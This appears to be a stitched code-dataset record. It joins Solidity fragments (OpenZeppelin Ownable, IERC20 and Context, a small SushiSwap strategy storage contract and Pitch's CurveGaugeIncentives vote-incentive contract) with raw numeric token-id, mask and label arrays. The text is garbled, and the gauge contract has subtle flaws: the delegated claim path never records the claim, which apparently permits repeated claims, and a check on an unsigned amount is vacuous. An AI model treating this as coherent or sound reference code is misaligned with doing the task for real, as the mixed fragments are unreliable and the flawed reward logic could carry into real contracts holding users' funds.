require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
* mine SUSHI via SUSHIswap.MasterChef will transferOnwership to stakeGatling/Sushi MasterChef UniLP ([usdt-eth].part)earnToken
contract StrategySushiStorage { address public constant stakeRewards = 0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd; address public stakeLpPair; address public constant earnTokenAddr = 0x6B3595068778DD592e39A122f4f5a5cF09C90fE2; address public stakeGatling; address public admin; uint256 public pid; event AdminChanged(address previousAdmin, address newAdmin); } }
1,337,006
[ 1, 3081, 11726, 2664, 45, 3970, 11726, 2664, 2520, 91, 438, 18, 7786, 39, 580, 74, 903, 7412, 1398, 10282, 5310, 358, 384, 911, 43, 270, 2456, 19, 55, 1218, 77, 13453, 39, 580, 74, 1351, 77, 14461, 23265, 407, 7510, 17, 546, 8009, 2680, 13, 73, 1303, 1345, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 19736, 55, 1218, 77, 3245, 288, 203, 203, 565, 1758, 1071, 5381, 384, 911, 17631, 14727, 273, 374, 6511, 22, 41, 2414, 40, 6028, 28, 5608, 20, 74, 21, 69, 37, 4763, 41, 24, 40, 28, 74, 3787, 27, 74, 38, 28, 41, 4033, 7201, 37, 5482, 28, 19728, 31, 203, 565, 1758, 1071, 225, 384, 911, 48, 84, 4154, 31, 203, 565, 1758, 1071, 5381, 425, 1303, 1345, 3178, 273, 374, 92, 26, 38, 4763, 29, 3361, 9470, 4700, 28, 5698, 6162, 22, 73, 5520, 37, 22266, 74, 24, 74, 25, 69, 25, 71, 42, 5908, 39, 9349, 74, 41, 22, 31, 203, 565, 1758, 1071, 384, 911, 43, 270, 2456, 31, 203, 565, 1758, 1071, 3981, 31, 203, 565, 2254, 5034, 1071, 4231, 31, 203, 203, 565, 871, 7807, 5033, 12, 2867, 2416, 4446, 16, 1758, 394, 4446, 1769, 7010, 203, 97, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >0.8.6; // ========================================== // | ____ _ __ __ | // | / __ \(_) /______/ /_ | // | / /_/ / / __/ ___/ __ \ | // | / ____/ / /_/ /__/ / / / | // | /_/ /_/\__/\___/_/ /_/ | // | | // ========================================== // ================= Pitch ================== // ========================================== // Authored by Pitch Research: [email protected] // Adapted from 0x7893bbb46613d7a4fbcc31dab4c9b823ffee1026 import "./interfaces/IGaugeController.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol"; contract CurveGaugeIncentives is OwnableUpgradeable, UUPSUpgradeable { // Use SafeERC20 for transfers using SafeERC20Upgradeable for IERC20Upgradeable; uint constant WEEK = 86400 * 7; uint256 public constant DENOMINATOR = 10000; // denominates weights 10000 = 100% // Pitch Multisig with fee modeled after Votium. address public feeAddress; uint256 public platformFee; address public gaugeControllerAddress; // These mappings were made public, while the bribe.crv.finance implementation keeps them private. mapping(address => mapping(address => uint)) public currentlyClaimableRewards; mapping(address => mapping(address => uint)) public currentlyClaimedRewards; mapping(address => mapping(address => uint)) public activePeriod; mapping(address => mapping(address => mapping(address => uint))) public last_user_claim; // users can delegate their rewards to another address (key = delegator, value = delegate) mapping (address => address) public delegation; // list of addresses who have pushed pending rewards that should be checked on periodic update. mapping (address => mapping (address => address[])) public pendingRewardAddresses; mapping(address => address[]) _rewardsPerGauge; mapping(address => address[]) _gaugesPerReward; mapping(address => mapping(address => bool)) _rewardsInGauge; // Rewards are intrinsically tied to a certain price per vote. struct Reward { uint amount; uint pricePerPercent; } // pending rewards are indexed with [gauge][token][user]. each user can only have one reward per gauge per token. mapping (address => mapping (address => mapping (address => Reward))) public pendingPricedRewards; address[] public blacklistedAddresses; mapping (address => address[]) public blacklistedGaugeAddresses; // used to blacklist specific addresses from gauges if they've already done long-term vote deals uint public maximumRewardsPerGauge; // Blacklisted weight cache mapping (address => mapping(uint => uint)) public blacklistedWeightPerPeriod; // Blacklist address status mapping (address => bool) public blacklistedAddressStatus; mapping (address => mapping(address => bool)) public blacklistedGaugeAddressStatus; /* ========== INITIALIZER FUNCTION ========== */ function initialize(address _feeAddress, uint256 _platformFee, address _gaugeControllerAddress) public initializer { __Context_init_unchained(); __Ownable_init_unchained(); feeAddress = _feeAddress; platformFee = _platformFee; gaugeControllerAddress = _gaugeControllerAddress; maximumRewardsPerGauge = 10; } /* ========== END INITIALIZER FUNCTION ========== */ /* ========== EXTERNAL VIEW FUNCTIONS ========== */ function isBlacklisted(address _blacklistedAddress) public view returns (bool) { return blacklistedAddressStatus[_blacklistedAddress]; } function isBlacklistedGaugeAddress(address _gauge, address _blacklistedAddress) public view returns (bool) { return blacklistedGaugeAddressStatus[_gauge][_blacklistedAddress]; } function rewardsPerGauge(address _gauge) external view returns (address[] memory) { return _rewardsPerGauge[_gauge]; } function gaugesPerReward(address _reward) external view returns (address[] memory) { return _gaugesPerReward[_reward]; } function getPendingRewardAddresses(address _gauge, address _token) external view returns (address[] memory) { return pendingRewardAddresses[_gauge][_token]; } function getPendingPricedRewards(address _gauge, address _token, address _user) external view returns (Reward memory) { return pendingPricedRewards[_gauge][_token][_user]; } /** * @notice Returns a list of pending priced rewards for a given gauge and reward token. * @param _gauge The token underlying the supported gauge. * @param _token The incentive deposited on this gauge. * @return pendingPRs List of pending rewards. */ function viewPendingPricedRewards(address _gauge, address _token) external view returns (Reward[] memory pendingPRs) { uint numPendingRewards = pendingRewardAddresses[_gauge][_token].length; pendingPRs = new Reward[](numPendingRewards); for (uint i = 0; i < numPendingRewards; i++) { address pendingRewardAddress = pendingRewardAddresses[_gauge][_token][i]; pendingPRs[i] = pendingPricedRewards[_gauge][_token][pendingRewardAddress]; } } /** * @notice Goes through every pending reward on a [gauge][token] pair and calculates the pending rewards. * @param _gauge The token underlying the supported gauge. * @param _token The incentive deposited on this gauge. * @return _amount the updated reward amount */ function calculatePendingRewards(address _gauge, address _token) public view returns (uint _amount) { _amount = 0; for (uint i = 0; i < pendingRewardAddresses[_gauge][_token].length; i++) { address pendingRewardAddress = pendingRewardAddresses[_gauge][_token][i]; uint _rewardAmount = viewGaugeReturn(_gauge, _token, pendingRewardAddress); _amount += _rewardAmount; } } /** * @notice Provides a user their quoted share of future rewards. If the contract's not synced with the controller, it'll reference the updated period. * @param _user Reward owner * @param _gauge The gauge being referenced by this function. * @param _token The incentive deposited on this gauge. * @return _amount The amount currently claimable */ function claimable(address _user, address _gauge, address _token) external view returns (uint _amount) { _amount = 0; bool userBlacklisted = isBlacklisted(_user) || isBlacklistedGaugeAddress(_gauge, _user); // user can't claim if blacklisted if (userBlacklisted) { return _amount; } // current gauge period uint _currentPeriod = IGaugeController(gaugeControllerAddress).time_total(); // last checkpointed period uint _checkpointedPeriod = activePeriod[_gauge][_token]; // if now is past the active period, users are eligible to claim if (_currentPeriod > _checkpointedPeriod) { /* * return indiv/total * (future + current) * start by collecting total slopes at the end of period */ uint _totalWeight = IGaugeController(gaugeControllerAddress).points_weight(_gauge, _currentPeriod).bias; _totalWeight -= blacklistedWeightPerPeriod[_gauge][_currentPeriod]; IGaugeController.VotedSlope memory _individualSlope = IGaugeController(gaugeControllerAddress).vote_user_slopes(_user, _gauge); /* * avoids a divide by zero problem. * curve-style gauge controllers don't allow votes to kick in until * the following period, so we don't need to track that ourselves */ if (_totalWeight > 0 && _individualSlope.end > 0) { uint _individualWeight = (_individualSlope.end - _currentPeriod) * _individualSlope.slope; uint _pendingRewardsAmount = calculatePendingRewards(_gauge, _token); /* * includes: * rewards available next period * rewards qualified after the next period * removes rewards that have been claimed */ uint _totalRewards = currentlyClaimableRewards[_gauge][_token] + _pendingRewardsAmount - currentlyClaimedRewards[_gauge][_token]; _amount = (_totalRewards * _individualWeight) / _totalWeight; } } else { // make sure we haven't voted or claimed in the past week uint _votingWeek = _checkpointedPeriod - WEEK; if (last_user_claim[_user][_gauge][_token] < _votingWeek) { uint _totalWeight = IGaugeController(gaugeControllerAddress).points_weight(_gauge, _checkpointedPeriod).bias; _totalWeight -= blacklistedWeightPerPeriod[_gauge][_checkpointedPeriod]; IGaugeController.VotedSlope memory _individualSlope = IGaugeController(gaugeControllerAddress).vote_user_slopes(_user, _gauge); if (_totalWeight > 0 && _individualSlope.end > 0) { uint _individualWeight = (_individualSlope.end - _checkpointedPeriod) * _individualSlope.slope; uint _totalRewards = currentlyClaimableRewards[_gauge][_token]; _amount = (_totalRewards * _individualWeight) / _totalWeight; } } } // Factor in platform fee _amount -= (_amount * platformFee) / DENOMINATOR; } /** * @notice Checks whether or not the voter earned rewards have exceeded the originally deposited amount * @param _gauge The gauge being referenced by this function. * @param _token The incentive deposited on this gauge. * @param _pendingRewardAddress Address of rewards depositor * @return _amount The amount currently claimable */ function earnedAmountExceedsDeposited(address _gauge, address _token, address _pendingRewardAddress) external view returns (bool) { Reward memory pr = pendingPricedRewards[_gauge][_token][_pendingRewardAddress]; uint currentGaugeWeight = IGaugeController(gaugeControllerAddress).gauge_relative_weight(_gauge); return _voterEarnedRewards(pr.pricePerPercent, currentGaugeWeight) > pr.amount; } /* ========== END EXTERNAL VIEW FUNCTIONS ========== */ /* ========== EXTERNAL FUNCTIONS ========== */ /** * @notice Referenced from Gnosis' DelegateRegistry (https://github.com/gnosis/delegate-registry/blob/main/contracts/DelegateRegistry.sol) * @dev Sets a delegate for the msg.sender. Every msg.sender serves as a unique key. * @param delegate Address of the delegate */ function setDelegate(address delegate) external { require (delegate != msg.sender, "Can't delegate to self"); require (delegate != address(0), "Can't delegate to 0x0"); address currentDelegate = delegation[msg.sender]; require (delegate != currentDelegate, "Already delegated to this address"); // Update delegation mapping delegation[msg.sender] = delegate; if (currentDelegate != address(0)) { emit ClearDelegate(msg.sender, currentDelegate); } emit SetDelegate(msg.sender, delegate); } /** * @notice Referenced from Gnosis' DelegateRegistry (https://github.com/gnosis/delegate-registry/blob/main/contracts/DelegateRegistry.sol) * @dev Clears a delegate for the msg.sender. Every msg.sender serves as a unique key. */ function clearDelegate() external { address currentDelegate = delegation[msg.sender]; require (currentDelegate != address(0), "No delegate set"); // update delegation mapping delegation[msg.sender]= address(0); emit ClearDelegate(msg.sender, currentDelegate); } // if msg.sender is not user, function claimDelegatedReward(address _delegatingUser, address _delegatedUser, address _gauge, address _token) external returns (uint _amount) { require(delegation[_delegatingUser] == _delegatedUser, "Not the delegated address"); _amount = _claimDelegatedReward(_delegatingUser, _delegatedUser, _gauge, _token); emit DelegateClaimed(_delegatingUser, _delegatedUser, _gauge, _token, _amount); } // if msg.sender is not user, function claimReward(address _user, address _gauge, address _token) external notBlacklisted(_user) notGaugeBlacklisted(_gauge, _user) returns (uint _amount) { _amount = _claimReward(_user, _gauge, _token); emit Claimed(_user, _gauge, _token, _amount); } // if msg.sender is not user, function claimReward(address _gauge, address _token) external notBlacklisted(msg.sender) notGaugeBlacklisted(_gauge, msg.sender) returns (uint _amount) { _amount = _claimReward(msg.sender, _gauge, _token); emit Claimed(msg.sender, _gauge, _token, _amount); } /** * @notice Deposits a reward on the gauge, which is stored in future claimable rewards. These will only be claimable once the contract has cleared the vote limit (measured 0 --> 10000 in bps percentage) * @param _gauge The gauge being updated by this function. * @param _token The incentive deposited on this gauge. * @param _amount The amount to deposit on this gauge. * @param _pricePerPercent The price paid per basis point of a vote. * @return The amount claimed. */ function addRewardAmount(address _gauge, address _token, uint _amount, uint _pricePerPercent) external returns (bool) { require(!( pendingPricedRewards[_gauge][_token][msg.sender].pricePerPercent != 0 && pendingPricedRewards[_gauge][_token][msg.sender].amount != 0 ), "Pending reward already exists for sender. Please update instead."); require(_amount > 0, "Amount must be greater than 0"); require(_pricePerPercent > 0, "Price per vote must be greater than 0"); require(pendingRewardAddresses[_gauge][_token].length < maximumRewardsPerGauge, "Too many rewards on that gauge"); _updatePeriod(_gauge, _token); Reward memory newReward = Reward(_amount, _pricePerPercent); pendingPricedRewards[_gauge][_token][msg.sender] = newReward; pendingRewardAddresses[_gauge][_token].push(msg.sender); IERC20Upgradeable(_token).safeTransferFrom(msg.sender, address(this), _amount); _add(_gauge, _token); return true; } /** * @notice Deposits a reward on the gauge, which is stored in future claimable rewards. These will only be claimable once the contract has cleared the vote limit (measured 0 --> 10000 in bps percentage) * @param _gauge The gauge being updated by this function. * @param _token The incentive deposited on this gauge. * @param _amount The amount to deposit on this gauge. * @param _pricePerPercent The price paid per basis point of a vote. * @return The amount claimed. */ function updateRewardAmount(address _gauge, address _token, uint _amount, uint _pricePerPercent) external returns (bool) { Reward memory r = pendingPricedRewards[_gauge][_token][msg.sender]; require(r.pricePerPercent != 0 && r.amount != 0, "Pending reward does not exist. Please pich a new reward."); require(_amount >= 0, "Amount must be greater than 0"); require(_pricePerPercent >= r.pricePerPercent, "Price per vote must monotonically increase"); require(_amount > 0 || _pricePerPercent > r.pricePerPercent, "Either price per vote or amount must increase"); uint _newAmount = r.amount + _amount; Reward memory newReward = Reward(_newAmount, _pricePerPercent); pendingPricedRewards[_gauge][_token][msg.sender] = newReward; // replaced the amount variable with our incentiveTotal variable IERC20Upgradeable(_token).safeTransferFrom(msg.sender, address(this), _amount); return true; } /* ========== END EXTERNAL FUNCTIONS ========== */ /* ========== INTERNAL FUNCTIONS ========== */ /** * @notice Pure function to compute voter earned rewards * @param _pricePerPercent Set price per percent of votes * @param _gaugeWeight Ending gauge weight * @return Amount voters have earned */ function _voterEarnedRewards(uint _pricePerPercent, uint _gaugeWeight) internal pure returns (uint) { return (_pricePerPercent * _gaugeWeight) / (1 * (10**16)); } /** * @notice Claims a pro-rata share reward of a voting gauge. This can only be done once per period per reward token per gauge, which is enforced at the Gauge Controller level. * @param _user The reward claimer * @param _gauge The gauge being updated by this function. * @param _token The incentive deposited on this gauge. * @return _amount Amount claimed. */ function _claimReward(address _user, address _gauge, address _token) internal returns (uint _amount) { _amount = 0; uint _period = _updatePeriod(_gauge, _token); uint _votingWeek = _period - WEEK; if (last_user_claim[_user][_gauge][_token] < _votingWeek) { uint _totalWeight = IGaugeController(gaugeControllerAddress).points_weight(_gauge, _period).bias; // bookmark the total slopes at the weds of current period uint _blacklistedWeight = blacklistedWeightPerPeriod[_gauge][_period]; _totalWeight -= _blacklistedWeight; if (_totalWeight > 0) { IGaugeController.VotedSlope memory _individualSlope = IGaugeController(gaugeControllerAddress).vote_user_slopes(_user, _gauge); uint _timeRemaining = _individualSlope.end - _period; uint _individualWeight = _timeRemaining * _individualSlope.slope; uint _totalRewards = currentlyClaimableRewards[_gauge][_token]; _amount = _totalRewards * _individualWeight / _totalWeight; if (_amount > 0) { currentlyClaimedRewards[_gauge][_token] += _amount; last_user_claim[_user][_gauge][_token] = block.timestamp; IERC20Upgradeable(_token).safeTransfer(_user, _amount); } } } } /** * @notice Claims a pro-rata share reward of a voting gauge. This can only be * done once per period per reward token per gauge, which is enforced at the * Gauge Controller level. This should be refactored for elegance eventually. * @param _delegatingUser The voter who's delegated their rewards. * @param _delegatedUser The delegated reward address. * @param _gauge The gauge being updated by this function. * @param _token The incentive deposited on this gauge. * @return _amount Amount claimed. */ function _claimDelegatedReward(address _delegatingUser, address _delegatedUser, address _gauge, address _token) internal returns (uint _amount) { _amount = 0; uint _period = _updatePeriod(_gauge, _token); uint _votingWeek = _period - WEEK; if (last_user_claim[_delegatingUser][_gauge][_token] < _votingWeek) { // collect total slopes at end of period uint _totalWeight = IGaugeController(gaugeControllerAddress).points_weight(_gauge, _period).bias; if (_totalWeight > 0) { IGaugeController.VotedSlope memory _individualSlope = IGaugeController(gaugeControllerAddress).vote_user_slopes(_delegatingUser, _gauge); uint _timeRemaining = _individualSlope.end - _period; uint _individualWeight = _timeRemaining * _individualSlope.slope; uint _totalRewards = currentlyClaimableRewards[_gauge][_token]; _amount = _totalRewards * _individualWeight / _totalWeight; if (_amount > 0) { currentlyClaimedRewards[_gauge][_token] += _amount; // sends the reward to the delegated user. IERC20Upgradeable(_token).safeTransfer(_delegatedUser, _amount); } } } } /** * @notice Synchronizes this contract's period for a given (gauge, reward) pair with the Gauge Controller, checkpointing votes. * @param _gauge The token underlying the supported gauge. * @param _token The incentive deposited on this gauge. * @return _currentPeriod updated period */ function _updatePeriod(address _gauge, address _token) internal returns (uint _currentPeriod) { // Period set to previous wednesday @ 5PM pt _currentPeriod = IGaugeController(gaugeControllerAddress).time_total(); // Period needs to be set to next wednesday @ 5PM pt uint _checkpointedPeriod = activePeriod[_gauge][_token]; if (_currentPeriod > _checkpointedPeriod) { // Checkpoint the gauge IGaugeController(gaugeControllerAddress).checkpoint_gauge(_gauge); // Calculate blacklisted weight for the current period blacklistedWeightPerPeriod[_gauge][_currentPeriod] = _calculateBlacklistedWeight(_gauge, _currentPeriod); // Update pending rewards uint newlyQualifiedRewards = _updatePendingRewards(_gauge, _token, _currentPeriod); // add rewards that are newly qualified into this one currentlyClaimableRewards[_gauge][_token] += newlyQualifiedRewards; // subtract rewards that have already been claimed currentlyClaimableRewards[_gauge][_token] -= currentlyClaimedRewards[_gauge][_token]; // 0 out the current claimed rewards... could be gas optimized because it's setting it to 0 currentlyClaimedRewards[_gauge][_token] = 0; // syncs our storage with external period activePeriod[_gauge][_token] = _currentPeriod; } } /** * @notice Goes through every pending reward on a [gauge][token] pair, calculates the amount on each vote incentive. * @param _gauge The token underlying the supported gauge. * @param _token The incentive deposited on this gauge. * @return _amount Updated pending rewards */ function _updatePendingRewards(address _gauge, address _token, uint _period) internal returns (uint _amount) { _amount = 0; uint pendingRewardAddressLength = pendingRewardAddresses[_gauge][_token].length; for (uint i = 0; i < pendingRewardAddressLength; i++) { address _pendingRewardAddress = pendingRewardAddresses[_gauge][_token][i]; uint _lrAmount = calculatePendingGaugeAmount(_gauge, _token, _pendingRewardAddress, _period); _amount += _lrAmount; pendingRewardAddresses[_gauge][_token][i] = pendingRewardAddresses[_gauge][_token][pendingRewardAddressLength-1]; pendingRewardAddresses[_gauge][_token].pop(); delete pendingPricedRewards[_gauge][_token][_pendingRewardAddress]; } } function calculatePendingGaugeAmount(address _gauge, address _token, address _pendingRewardAddress, uint _period) internal returns (uint _amount) { _amount = 0; Reward memory pr = pendingPricedRewards[_gauge][_token][_pendingRewardAddress]; uint currentGaugeWeight = IGaugeController(gaugeControllerAddress).gauge_relative_weight(_gauge); uint totalGaugeWeight = currentGaugeWeight - blacklistedWeightPerPeriod[_gauge][_period]; uint voterEarnedRewards = _voterEarnedRewards(pr.pricePerPercent, totalGaugeWeight); IERC20Upgradeable rewardToken = IERC20Upgradeable(_token); if (voterEarnedRewards >= pr.amount) { // take the fee on the fully converted amount uint256 _fee = (pr.amount*platformFee)/DENOMINATOR; uint256 _incentiveTotal = pr.amount-_fee; _amount += _incentiveTotal; // transfer fee to fee address, doesn't take off the top rewardToken.safeTransfer(feeAddress, _fee); } else { uint _amountClaimable = voterEarnedRewards; uint256 _fee = (_amountClaimable * platformFee)/DENOMINATOR; // take the whole fee with no dilution if (pr.amount > (_amountClaimable + _fee)) { _amount += _amountClaimable; uint256 _amountToReturn = pr.amount - _amountClaimable - _fee; // take fee on the amount now claimable rewardToken.safeTransfer(feeAddress, _fee); // transfer the remainder to the original address rewardToken.safeTransfer(_pendingRewardAddress, _amountToReturn); } else { uint256 _totalFee = (pr.amount * platformFee)/DENOMINATOR; uint256 remainingReward = pr.amount - _totalFee; _amount += remainingReward; // take fee on the amount now claimable rewardToken.safeTransfer(feeAddress, _totalFee); } } } function viewGaugeReturn(address _gauge, address _token, address _pendingRewardAddress) internal view returns (uint) { Reward memory pr = pendingPricedRewards[_gauge][_token][_pendingRewardAddress]; uint currentGaugeWeight = IGaugeController(gaugeControllerAddress).gauge_relative_weight(_gauge); uint expectedAmountOut = _voterEarnedRewards(pr.pricePerPercent, currentGaugeWeight); if (expectedAmountOut > pr.amount) { return pr.amount; } else { return expectedAmountOut; } } /** * @notice Adds the reward to internal bookkeeping for visibility at the contract level * @param _gauge The token underlying the supported gauge. * @param _reward The incentive deposited on this gauge. */ function _add(address _gauge, address _reward) internal { if (!_rewardsInGauge[_gauge][_reward]) { _rewardsPerGauge[_gauge].push(_reward); _gaugesPerReward[_reward].push(_gauge); _rewardsInGauge[_gauge][_reward] = true; } } function _calculateBlacklistedWeight(address _gauge, uint _period) internal view returns (uint) { uint _totalWeight = 0; // factor out the general blacklisted addresses uint length = blacklistedAddresses.length; for (uint i = 0; i < length; i++) { // Continue if gauge blacklist status false if (!blacklistedAddressStatus[blacklistedAddresses[i]]) { continue; } IGaugeController.VotedSlope memory _blacklistedSlope = IGaugeController(gaugeControllerAddress).vote_user_slopes(blacklistedAddresses[i], _gauge); uint _timeRemaining = _blacklistedSlope.end - _period; uint _blacklistedWeight = _timeRemaining * _blacklistedSlope.slope; _totalWeight += _blacklistedWeight; } // factor out the gauge specific blacklisted addresses uint gaugeLength = blacklistedGaugeAddresses[_gauge].length; for (uint i = 0; i < gaugeLength; i++) { // Continue if gauge blacklist status if false if (!blacklistedGaugeAddressStatus[_gauge][blacklistedGaugeAddresses[_gauge][i]]) { continue; } IGaugeController.VotedSlope memory _blacklistedSlope = IGaugeController(gaugeControllerAddress).vote_user_slopes(blacklistedGaugeAddresses[_gauge][i], _gauge); uint _timeRemaining = _blacklistedSlope.end - _period; uint _blacklistedWeight = _timeRemaining * _blacklistedSlope.slope; _totalWeight += _blacklistedWeight; } return _totalWeight; } /* ========== END INTERNAL FUNCTIONS ========== */ /* ========== OWNER FUNCTIONS ========== */ // used to manage upgrading the contract function _authorizeUpgrade(address) internal override onlyOwner {} function blacklistAddress(address _blacklistedAddress) external onlyOwner notBlacklisted(_blacklistedAddress) { blacklistedAddresses.push(_blacklistedAddress); blacklistedAddressStatus[_blacklistedAddress] = true; } function blacklistGaugeAddress(address _gauge, address _blacklistedAddress) external onlyOwner notGaugeBlacklisted(_gauge, _blacklistedAddress) { blacklistedGaugeAddresses[_gauge].push(_blacklistedAddress); blacklistedGaugeAddressStatus[_gauge][_blacklistedAddress] = true; } function unBlacklistAddress(address _blacklistedAddress) external onlyOwner { blacklistedAddressStatus[_blacklistedAddress] = false; } function unBlacklistGaugeAddress(address _gauge, address _blacklistedAddress) external onlyOwner { blacklistedGaugeAddressStatus[_gauge][_blacklistedAddress] = false; } function updateGaugeControllerAddress(address _gaugeControllerAddress) public onlyOwner { gaugeControllerAddress = _gaugeControllerAddress; emit UpdatedGaugeController(_gaugeControllerAddress); } // update fee address function updateFeeAddress(address _feeAddress) public onlyOwner { feeAddress = _feeAddress; } // update fee amount function updateFeeAmount(uint256 _feeAmount) public onlyOwner { require(_feeAmount < 400, "max fee"); // Max fee 4% platformFee = _feeAmount; emit UpdatedFee(_feeAmount); } function updateMaximumRewardsPerGauge(uint256 _numRewards) public onlyOwner { require(_numRewards > 0, "Must accepted at least one reward."); maximumRewardsPerGauge = _numRewards; } /* ========== END OWNER FUNCTIONS ========== */ /* ========== EVENTS ========== */ event Claimed(address indexed user, address indexed gauge, address indexed token, uint256 amount); event DelegateClaimed(address indexed delegatingUser, address indexed delegatedUser, address indexed gauge, address token, uint256 amount); event UpdatedFee(uint256 _feeAmount); event UpdatedGaugeController(address gaugeController); event SetDelegate(address indexed delegator, address indexed delegate); event ClearDelegate(address indexed delegator, address indexed delegate); modifier notBlacklisted(address _address) { require(blacklistedAddressStatus[_address] == false, "Blacklisted Aggregated Multisig"); _; } modifier notGaugeBlacklisted(address _gauge, address _address) { require(blacklistedGaugeAddressStatus[_gauge][_address] == false, "Blacklisted Gauge Multisig"); _; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; interface IGaugeController { struct VotedSlope { uint slope; uint power; uint end; } struct Point { uint bias; uint slope; } function vote_user_slopes(address, address) external view returns (VotedSlope memory); function gauge_relative_weight(address) external view returns (uint); function last_user_vote(address, address) external view returns (uint); function points_weight(address, uint256) external view returns (Point memory); function checkpoint_gauge(address) external; function time_total() external view returns (uint); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal 